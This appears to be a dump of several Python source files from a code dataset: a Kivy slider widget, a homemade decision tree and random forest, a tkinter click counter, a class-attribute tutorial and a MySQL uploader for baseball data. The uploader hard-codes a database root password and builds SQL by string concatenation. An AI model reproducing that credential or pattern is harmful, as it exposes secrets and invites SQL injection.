False}\n\n max_kwargs = {'value': self.max_value,\n 'integers': self.integers,\n 'decimal_places': self.decimal_places,\n 'update_slowdown': self.update_slowdown,\n 'min': self.min,\n 'max': self.max,\n 'padding': self.padding,\n 'orientation': self.orientation,\n # 'range': self.range,\n 'step': self.step,\n 'sensitivity': 'handle',\n 'pos': self.pos,\n 'size': self.size,\n 'text_colour': self.text_colour,\n 'colour_scheme': self.colour_scheme,\n 'master_colour': self.master_colour,\n 'shape_dictionary': self.shape_dictionary,\n 'display_value_toggle': self.display_value_toggle,\n 'display_value_formatting': self.display_value_formatting,\n 'slider_bar_toggle': False,\n 'draw_shape_toggle': False}\n\n if self.slider_bar_toggle:\n\n print('^^^^^^^^^^^^^')\n\n \"\"\" you can change do shape_dictionary=self.shape_dictionary if you want this little bar to be concentric\n but im pretty sure it looks awful so im not even going to provide an option for that \"\"\"\n # self.slider_bar = ConcentricOblongs(size=self.size, pos=self.pos, orientation=self.orientation,\n # master_colour=self.master_colour, colour_scheme=self.colour_scheme,\n # allow_concentric=False)\n self.slider_bar = ConcentricOblongs(size=self.size,\n pos=self.pos,\n orientation=self.orientation,\n master_colour=self.master_colour,\n colour_scheme=self.colour_scheme,\n allow_concentric=True)\n self.add_widget(self.slider_bar)\n\n self.bind(size=self.set_slider_bar_size_and_pos)\n self.bind(pos=self.set_slider_bar_size_and_pos)\n\n # self.bind(master_colour=self.set_slider_bar_colour)\n\n self.min_slider = CircleSlider(**min_kwargs)\n self.max_slider = CircleSlider(**max_kwargs)\n\n self.min_slider.bind(value=self.set_double_slider_min_max)\n self.max_slider.bind(value=self.set_double_slider_min_max)\n\n self.bind(text_colour=self.set_cursor_text_colour)\n\n self.add_widget(self.min_slider)\n self.add_widget(self.max_slider)\n\n def pass_master_colour_to_children(self, wid, colour):\n super(DoubleCircleSlider, self).pass_master_colour_to_children(wid, colour)\n self.set_slider_bar_colour(wid, colour)\n\n def set_slider_bar_colour(self, wid, colour):\n\n print('yyyyyyyyyyyyyyyyyyyy', self.slider_bar)\n\n if self.slider_bar:\n self.slider_bar.master_colour = colour\n\n if self.min_slider and self.max_slider:\n self.min_slider.master_colour = colour\n self.max_slider.master_colour = colour\n\n self.min_slider.pass_master_colour_to_children(wid, colour)\n self.max_slider.pass_master_colour_to_children(wid, colour)\n\n def set_slider_bar_size_and_pos(self, *args):\n Clock.schedule_once(self.do_set_slider_bar_size_and_pos, -1)\n\n def do_set_slider_bar_size_and_pos(self, *args):\n if self.slider_bar:\n self.slider_bar.size = (self.width - self.min_slider.circle_label.get_inner_shape_width(),\n self.height / 10) if self.orientation == 'horizontal' else (\n self.width / 10, self.height - self.min_slider.circle_label.get_inner_shape_height())\n self.slider_bar.center = self.center\n\n self.min_slider.size = self.size\n self.max_slider.size = self.size\n\n self.min_slider.center = self.center\n self.max_slider.center = self.center\n\n # def on_slider_bar(self):\n # self.set_slider_bar_size_and_pos()\n # #self.set_slider_bar_colour()\n\n def set_cursor_text_colour(self, *args):\n self.min_slider.text_colour = self.text_colour\n self.max_slider.text_colour = self.text_colour\n\n def on_touch_down(self, touch):\n\n # self.min_slider.update_shape_list_pos()\n # self.max_slider.update_shape_list_pos()\n\n if not self.collide_point(*touch.pos):\n return False\n\n pos_dimension = 0 if self.orientation == 'horizontal' else 1\n\n touch_distance_from_min_slider = abs(self.min_slider.value_pos[pos_dimension] - touch.pos[pos_dimension])\n touch_distance_from_max_slider = abs(self.max_slider.value_pos[pos_dimension] - touch.pos[pos_dimension])\n\n self.closer_widget = self.min_slider if touch_distance_from_min_slider < touch_distance_from_max_slider else self.max_slider\n\n if self.sensitivity == 'handle':\n # check you've actually collided with it...... could even do this earlier\n if not self.closer_widget.circle_label.collide_point(*touch.pos):\n return True\n elif self.sensitivity == 'all':\n pass\n else:\n raise Exception(\"This shouldnt happen. sensitivity should be 'handle', or 'all'\")\n\n # removing and adding a widget moves it to top of draw order\n self.remove_widget(self.closer_widget)\n self.add_widget(self.closer_widget)\n\n touch.grab(self.closer_widget)\n\n # print(':)', self.master_colour, self._master_colour, self.pseudo_bind_master_colour_attribute)\n\n return True\n\n def on_touch_move(self, touch):\n\n if not self.collide_point(*touch.pos):\n return False\n\n if self.closer_widget:\n if self.closer_widget.selected:\n self.closer_widget.on_touch_move(touch)\n\n return True\n\n def on_touch_up(self, touch):\n\n if not self.collide_point(*touch.pos):\n return False\n\n if self.closer_widget:\n closer_widget = self.closer_widget\n self.closer_widget = None\n closer_widget.on_touch_move(touch)\n else:\n super(DoubleCircleSlider, self).on_touch_up(touch)\n\n def set_double_slider_min_max(self, *args):\n self.min_value, self.max_value = sorted((self.min_slider.value, self.max_slider.value))\n\n # def on_size(self, wid, size):\n # self.min_slider.size = size\n # self.max_slider.size = size\n\n # def on_pos(self, wid, pos):\n # self.min_slider.pos = pos\n # self.max_slider.pos = pos\n","sub_path":"ConcentricUI/circle/doublecircleslider.py","file_name":"doublecircleslider.py","file_ext":"py","file_size_in_byte":10565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402698710","text":"import pandas as pd\nimport numpy as np\nimport sklearn\nfrom sklearn.base import BaseEstimator\nimport pandas.core.algorithms as algos\nfrom tqdm import tqdm, trange\nimport random\n\nxy = pd.read_csv('./train_xy.csv')\n\nx = xy.iloc[:, 3:80]\ny = xy.y\n\n\ndef eh(sub_label):\n total = len(sub_label)\n p0 = (sub_label == 0).sum() / total\n p1 = 1 - p0\n if p0 == 0 or p1 == 0:\n return 0\n hx = -(p0 * np.log2(p0) + p1 * np.log2(p1))\n return hx\n\n\ndef split_label(feature, thershold, label):\n left_labels = label[feature <= thershold]\n right_labels = label[feature > thershold]\n return left_labels, right_labels\n\n\ndef split_features_and_label(features, best_feature, thershold, label):\n split_feature = features[best_feature]\n left_labels = label[split_feature <= thershold]\n left_features = features[split_feature <= thershold]\n right_labels = label[split_feature > thershold]\n right_features = features[split_feature > thershold]\n return (left_features, left_labels), (right_features, right_labels)\n\n\ndef gain(feature, thershold, label):\n left_labels, right_labels = split_label(feature, thershold, label)\n old = eh(label)\n left_ratio = len(left_labels) / len(label)\n new = eh(left_labels) * left_ratio + eh(right_labels) * (1 - left_ratio)\n g = old - new\n return g\n\n\ndef search_best_split(feature, label):\n uniques = np.unique(feature)\n nunique = len(uniques)\n if nunique == 1:\n return 0, 0\n gains = {}\n\n # 如果稀缺值小于100个\n if nunique <= 100:\n for theshold in uniques[:-1]:\n # print(theshold)\n gains[theshold] = gain(feature, theshold, label)\n\n # 如果稀缺值大于100个,用百分位来计算\n else:\n for pct_theshold in range(100):\n theshold = np.percentile(feature, pct_theshold)\n gains[theshold] = gain(feature, theshold, label)\n\n best_split = max(gains, key=gains.get)\n best_gain = gains[best_split]\n return best_split, best_gain\n\n\ndef search_best_feature(x, label):\n splits = {}\n gains = {}\n for fe_id in x:\n # print(fe_id)\n feature = x[fe_id]\n # print(len(np.unique(feature)))\n fe_split, fe_gain = search_best_split(feature, label)\n splits[fe_id] = fe_split\n gains[fe_id] = fe_gain\n best_feature = max(gains, key=gains.get)\n split_thershold = splits[best_feature]\n best_gain = gains[best_feature]\n return best_feature, split_thershold, best_gain\n\n\nclass myDT(object):\n def __init__(self, max_depth=4, min_split_gain=0.000001, min_data_in_leaf=10, verbose=True):\n self.max_depth = max_depth\n self.min_split_gain = min_split_gain\n self.verbose = verbose\n self.min_data_in_leaf = min_data_in_leaf\n self.root = None\n self.fitted = False\n self.settings = {'max_depth': self.max_depth, 'min_split_gain': self.min_split_gain,\n 'verbose': self.verbose, 'min_data_in_leaf': self.min_data_in_leaf}\n\n def fit(self, x, y):\n self.root = DTleaf(current_depth=0, settings=self.settings)\n\n self.root.build(x, y)\n self.fitted = True\n return self\n\n def predict_proba(self, x):\n probas = {}\n for id, sample in x.iterrows():\n probas[id] = self.root.predict(sample)\n yp = pd.DataFrame.from_dict(probas, 'index')[0]\n return pd.concat([1 - yp, yp], 1).values\n\n\nclass DTleaf(object):\n def __init__(self, current_depth, settings):\n self.settings = settings\n self.best_feature = 'wtf'\n self.split_thershold = 0\n self.best_gain = 0\n self.proba = 0\n self.builded = False\n self.left_leaf = None\n self.right_leaf = None\n\n self.current_depth = current_depth\n if self.current_depth < self.settings['max_depth']:\n self.bottom = False\n # self.left_leaf = DTleaf(self.current_depth + 1,max_depth,min_split_gain,verbose)\n # self.right_leaf = DTleaf(self.current_depth +1,max_depth,min_split_gain,verbose)\n else:\n self.bottom = True\n\n @property\n def max_depth_(self):\n if self.bottom:\n return self.current_depth\n else:\n return max(self.left_leaf.max_depth_, self.right_leaf.max_depth_)\n\n def __str__(self):\n if not self.builded:\n return 'not_built_yet'\n else:\n return f'深度:{self.current_depth}\\n分割特征:{self.best_feature}\\n信息收益:{self.best_gain}\\n' + \\\n f'本层概率{self.proba}'\n\n def __repr__(self):\n return self.__str__()\n\n def build(self, features, labels):\n if self.settings['verbose']:\n print(f'正在构建第{self.current_depth}层')\n # 概率值\n self.proba = labels.mean()\n self.builded = True\n if self.bottom:\n return\n\n if len(labels) <= self.settings['min_data_in_leaf']:\n self.bottom = True\n return\n\n if self.proba == 0 or self.proba == 1:\n self.bottom = True\n return\n\n # 最优切分\n best_feature, split_thershold, best_gain = search_best_feature(features, labels)\n\n if best_gain < self.settings['min_split_gain']:\n self.bottom = True\n return\n\n self.best_feature = best_feature\n self.best_gain = best_gain\n self.split_thershold = split_thershold\n\n # 切开训练集,供子树使用\n (left_features, left_labels), (right_features, right_labels) = \\\n split_features_and_label(features, best_feature, split_thershold, labels)\n if self.settings['verbose']:\n print(' ' * self.current_depth + '左侧', end='')\n self.left_leaf = DTleaf(self.current_depth + 1, self.settings)\n self.left_leaf.build(left_features, left_labels)\n if self.settings['verbose']:\n print(' ' * self.current_depth + '右侧', end='')\n self.right_leaf = DTleaf(self.current_depth + 1, self.settings)\n self.right_leaf.build(right_features, right_labels)\n\n def predict(self, test_sample):\n if self.bottom:\n return self.proba\n else:\n my_feature = test_sample[self.best_feature]\n if my_feature <= self.split_thershold:\n return self.left_leaf.predict(test_sample)\n else:\n return self.right_leaf.predict(test_sample)\n\n def show(self):\n if self.bottom:\n print(f'第{self.current_depth}层' + f'概率为{self.proba}')\n else:\n print(f'第{self.current_depth}层')\n print(' ' * self.current_depth + '左侧', end='')\n self.left_leaf.show()\n print(' ' * self.current_depth + '右侧', end='')\n self.right_leaf.show()\n\n\nclass MyRF(BaseEstimator):\n def __init__(self, n_estimators=10, subsample=0.5, sub_feature=0.8, max_depth=6, min_split_gain=0.001, verbose=True,\n random_state=42):\n self.n_estimators = n_estimators\n self.subsample = subsample\n self.sub_feature = sub_feature\n self.max_depth = max_depth\n self.min_split_gain = min_split_gain\n self.verbose = verbose\n self.random_state = random_state\n self.trees = []\n self.masks = {}\n # for i in range(self.n_estimators):\n\n def fit(self, train_x, train_y):\n\n for i in trange(self.n_estimators): # ,disable=~self.verbose):\n # tree=myDT(max_depth=self.max_depth, min_split_gain=self.min_split_gain,\n # verbose=False)\n skf = StratifiedKFold(5, True, self.random_state + i)\n sample_i = next(skf.split(train_x, train_y), )[0]\n xs = train_x[sample_i, :]\n ys = train_y[sample_i]\n if self.sub_feature < 1:\n n_sub_feature = int(train_x.shape[1] * self.sub_feature)\n mask = random.sample(range(train_x.shape[1]), n_sub_feature)\n xs = xs[:, mask]\n self.masks[i] = mask\n tree = DecisionTreeClassifier(max_depth=self.max_depth)\n self.trees.append(tree)\n tree.fit(xs, ys)\n\n return self\n\n def predict_proba(self, test_x):\n probass = []\n for i, tree in enumerate(self.trees):\n if self.sub_feature < 1:\n mask = self.masks[i]\n sub_test_x = test_x[:, mask]\n else:\n sub_test_x = test_x\n probas = tree.predict_proba(sub_test_x)\n probass.append(probas)\n return np.mean(probass, 0)\n\n\n# m1.fit(x,y)\n# pd.Series.rank\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\nskf = StratifiedKFold(shuffle=True, random_state=42, n_splits=6)\ni1, i2 = next(skf.split(x, y))\n# m1=myDT(max_depth=8,min_split_gain=0.001)\n# m1=DecisionTreeClassifier(max_depth=8,min_samples_split=10,)\nm1 = MyRF(n_estimators=3000, subsample=0.1, max_depth=6, min_split_gain=0.001, sub_feature=1)\n# m1=RandomForestClassifier(100,max_depth=6,)\nx1 = x.iloc[i1, :].values\ny1 = y.iloc[i1].values\nx2 = x.iloc[i2, :].values\ny2 = y.iloc[i2].values\n\nm1.fit(x1, y1, )\n\nyp1 = m1.predict_proba(x1)[:, 1]\nyp2 = m1.predict_proba(x2)[:, 1]\n\ns1 = roc_auc_score(y2, yp2)\ns2 = roc_auc_score(y1, yp1)\n\nprint(s1, s2)\n# feature=x\n# label=y\n# pd.qcut(\n# )\n\n# algos.rank(x.x_1,pct=True)\n","sub_path":"mydt.py","file_name":"mydt.py","file_ext":"py","file_size_in_byte":9552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"241762940","text":"# Счётчик нажатий\n# Демонстрирует связывание событий с обработчиками\nfrom tkinter import *\n\nclass Application(Frame):\n \"\"\" GUI-приложение, которое подсчитывает количество нажатий кнопки \"\"\"\n def __init__(self, master):\n \"\"\" Инициализирует рамку \"\"\"\n super(Application, self).__init__(master)\n self.grid()\n # кол-во нажатий\n self.btn_clicks = 0\n self.create_widgets()\n\n def create_widgets(self):\n \"\"\" Создает кнопку, на которой отображается количество совершённых нажатий \"\"\"\n self.btn = Button(self)\n self.btn[\"text\"] = \"Количество щелчков: 0\"\n self.btn[\"command\"] = self.update_count\n self.btn.grid()\n\n def update_count(self):\n \"\"\" Увеличивает количество нажатий кнопки на единицу и отображает его \"\"\"\n self.btn_clicks += 1\n self.btn[\"text\"] = \"Количество щелчков: \" + str(self.btn_clicks)\n\n# основная часть\nroot = Tk()\nroot.title(\"Количество нажатий\")\nroot.geometry(\"300x250\")\napp = Application(root)\nroot.mainloop()","sub_path":"OOP/GUI/click_counter.py","file_name":"click_counter.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"475075278","text":"#將資料存進db\nfrom sqlalchemy import *\n\nimport MySQL_table_connector as table_connector\n\nmysqlInfo = {\n \"host\": '127.0.0.1',\n \"user\": 'root',\n \"password\": 'Lc-20332895-',\n \"database\": \"cpbl_whole_data\",\n \"port\": 3306,\n \"charset\": 'utf8'\n}\n\n# table.set_index([\"YEAR\",\"POS\"])\nengine = create_engine('mysql+pymysql://root:Lc-20332895-@localhost:3306/'+\"cpbl_whole_data\")\nconn = engine.connect()\n\ndef __init__(self,year_assigned,data_col_num_assigned,table_name_assigned,whole_player_data_assigned):\n\n self.year = year_assigned\n self.data_col_num = data_col_num_assigned\n self.table_name = table_name_assigned\n self.whole_player_data = whole_player_data_assigned\n\ndef upload_to_db(table,dbtable_name):\n\n dtypedict = {}\n for col in table.columns:\n dtypedict[col] = NVARCHAR(length=255)\n\n #判斷表是否已被建立,若無則turn on,第一次上傳,設定聯合唯一約束\n # if(table_connector.is_batting_table_exist == False or table_connector.is_pitching_table_exist == False or table_connector.is_defense_table_exist == False):\n \n # table_connector.turn_on_table(table_connector, dbtable_name)\n table.to_sql(dbtable_name, engine, if_exists='append', index=False, dtype=dtypedict)\n # conn.execute(\"alter table \"+dbtable_name+\" \"+\"add constraint date_game_name unique(DATE,GAME_NO,NAME);\")\n \n\n table.to_sql(\"temp_table\", engine, if_exists='replace', index=False, dtype=dtypedict)\n\n # table.to_sql(dbtable_name, engine, if_exists='append', index=False, dtype=dtypedict)\n\n #若資料已存在則略過,否則插入\n with engine.begin() as cnx:\n insert_sql = \"INSERT IGNORE INTO \"+dbtable_name+\" \"+\"(SELECT * FROM temp_table)\"\n cnx.execute(insert_sql)\n\ndef upload_to_db_byrow(data,dbtable_name,cur,conn):\n inserted_day_data = \",\".join(data)\n print(inserted_day_data)\n sql = \"INSERT INTO\"+\" \"+dbtable_name+\"(GAME_NO,DATE,DAY,STADIUM,CLIENT,HOST,CLIENT_HR,CLIENT_ERR,HOST_HR,HOST_ERR,CLIENT_SCORE,HOST_SCORE,TIME,BOX_OFF)VALUES (\"+inserted_day_data+\");\"\n # 执行sql语句\n cur.execute(sql)\n # 提交到数据库执行\n conn.commit()\n # print(\"commit ok!\")","sub_path":"CPBL_game_data/Database_uploader.py","file_name":"Database_uploader.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"500271947","text":"#!/usr/bin/env python3\n\nclass InstanceCounter(object):\n\tcount = 0\n\n\tdef __init__(self, val):\n\t\tself.val = val\n\t\tInstanceCounter.count += 1\n\n\tdef set_val(self, newval):\n\t\tself.val = newval\n\n\tdef get_val(self):\n\t\treturn self.val\n\n\tdef get_count(self):\n\t\treturn InstanceCounter.count\n\na = InstanceCounter(5)\nb = InstanceCounter(13)\nc = InstanceCounter(17)\n\nfor obj in (a, b, c):\n\tprint(\"val of obj: %s\" % (obj.get_val()))\t# initialized value\n\tprint(\"count: %s\" % (obj.get_count()))\t\t# always 3\n\nfor obj in (a, b, c):\n\tprint(\"val of obj: %s\" % (obj.get_val()))\t# initialized value\n\tprint(\"count (from instance): %s\" % (obj.count))\t# always 3\n\nclass TestClass(object):\n pass\n\nprint(TestClass) # class object\nTestClass.val = 5 # setting an attribute of the class TestClass\nprint(TestClass.val)","sub_path":"OOP/007. Working With Class And Instance Data.py","file_name":"007. Working With Class And Instance Data.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"}